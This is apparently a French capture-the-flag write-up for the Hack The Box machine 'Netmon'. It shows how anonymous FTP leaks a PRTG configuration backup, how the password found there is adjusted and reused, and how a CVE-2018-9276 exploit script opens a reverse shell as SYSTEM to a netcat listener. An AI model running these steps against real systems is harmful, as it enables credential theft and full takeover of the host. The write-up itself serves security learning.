# Netmon `PRTG` `FTP` * Nom machine : Netmon * Difficulté : Facile * OS : Windows ## Enumération ### NMAP ``` Nmap scan report for 10.10.10.152 Host is up, received conn-refused (0.039s latency). Scanned at 2024-11-04 10:46:41 EST for 98s Not shown: 65522 closed tcp ports (conn-refused) PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack Microsoft ftpd | ftp-anon: Anonymous FTP login allowed (FTP code 230) | 02-02-19 11:18PM 1024 .rnd | 02-25-19 09:15PM inetpub | 07-16-16 08:18AM PerfLogs | 02-25-19 09:56PM Program Files | 02-02-19 11:28PM Program Files (x86) | 02-03-19 07:08AM Users |_11-10-23 09:20AM Windows | ftp-syst: |_ SYST: Windows_NT 80/tcp open http syn-ack Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: PRTG/18.1.37.13946 | http-title: Welcome | PRTG Network Monitor (NETMON) |_Requested resource was /index.htm |_http-favicon: Unknown favicon MD5: 36B3EF286FA4BEFBB797A0966B456479 |_http-trane-info: Problem with XML parsing of /evox/about 135/tcp open msrpc syn-ack Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn 445/tcp open microsoft-ds syn-ack Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 47001/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc syn-ack Microsoft Windows RPC 49665/tcp open msrpc syn-ack Microsoft Windows RPC 49666/tcp open msrpc syn-ack Microsoft Windows RPC 49667/tcp open msrpc syn-ack Microsoft Windows RPC 49668/tcp open msrpc syn-ack Microsoft Windows RPC 49669/tcp open msrpc syn-ack Microsoft Windows RPC Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows ``` ### FTP (21) Anonymous accepté. Attention au fichiers/dossiers cachés ! ``` ┌──(kali㉿kali)-[~] └─$ ftp 10.10.10.152 Connected to 10.10.10.152. 220 Microsoft FTP Service Name (10.10.10.152:kali): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT. ftp> dir 229 Entering Extended Passive Mode (|||49735|) 125 Data connection already open; Transfer starting. 02-02-19 11:18PM 1024 .rnd 02-25-19 09:15PM inetpub 07-16-16 08:18AM PerfLogs 02-25-19 09:56PM Program Files 02-02-19 11:28PM Program Files (x86) 02-03-19 07:08AM Users 11-10-23 09:20AM Windows 226 Transfer complete. ftp> cd "\ProgramData\Paessler\PRTG Network Monitor" 250 CWD command successful. ftp> dir 229 Entering Extended Passive Mode (|||50087|) 150 Opening ASCII mode data connection. 11-05-24 04:57AM Configuration Auto-Backups 11-05-24 04:57AM Log Database 02-02-19 11:18PM Logs (Debug) 02-02-19 11:18PM Logs (Sensors) 02-02-19 11:18PM Logs (System) 11-05-24 04:57AM Logs (Web Server) 11-05-24 04:57AM Monitoring Database 02-25-19 09:54PM 1189697 PRTG Configuration.dat 02-25-19 09:54PM 1189697 PRTG Configuration.old 07-14-18 02:13AM 1153755 PRTG Configuration.old.bak 11-05-24 04:58AM 1639801 PRTG Graph Data Cache.dat 02-25-19 10:00PM Report PDFs 02-02-19 11:18PM System Information Database 02-02-19 11:40PM Ticket Database 02-02-19 11:18PM ToDo Database 226 Transfer complete. ftp> get "PRTG Configuration.old.bak" local: PRTG Configuration.old.bak remote: PRTG Configuration.old.bak 229 Entering Extended Passive Mode (|||50090|) 125 Data connection already open; Transfer starting. 100% |******************| 1126 KiB 1.89 MiB/s 00:00 ETA 226 Transfer complete. 1153755 bytes received in 00:00 (1.89 MiB/s) ``` ``` ┌──(kali㉿kali)-[~/htb/netmon] └─$ cat * | grep pass -A 5 PrTg@dmin2018 {...} ``` ## Accès initial Nous avons essayé la combinaison trouvée mais sans résultats. En essayant d'incrémenter l'année de 1 nous avons réussi à nous connecter. Nous pouvons maintenant utiliser un exploit. {% embed url="" %} ``` ┌──(kali㉿kali)-[~/htb/netmon/CVE-2018-9276] └─$ ./exploit.py -i 10.10.10.152 -p 80 --lhost 10.10.14.12 --lport 1234 --user prtgadmin --password 'PrTg@dmin2019' ``` ``` ┌──(kali㉿kali)-[~] └─$ nc -lnvp 1234 listening on [any] 1234 ... connect to [10.10.14.12] from (UNKNOWN) [10.10.10.152] 50237 Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami nt authority\system ```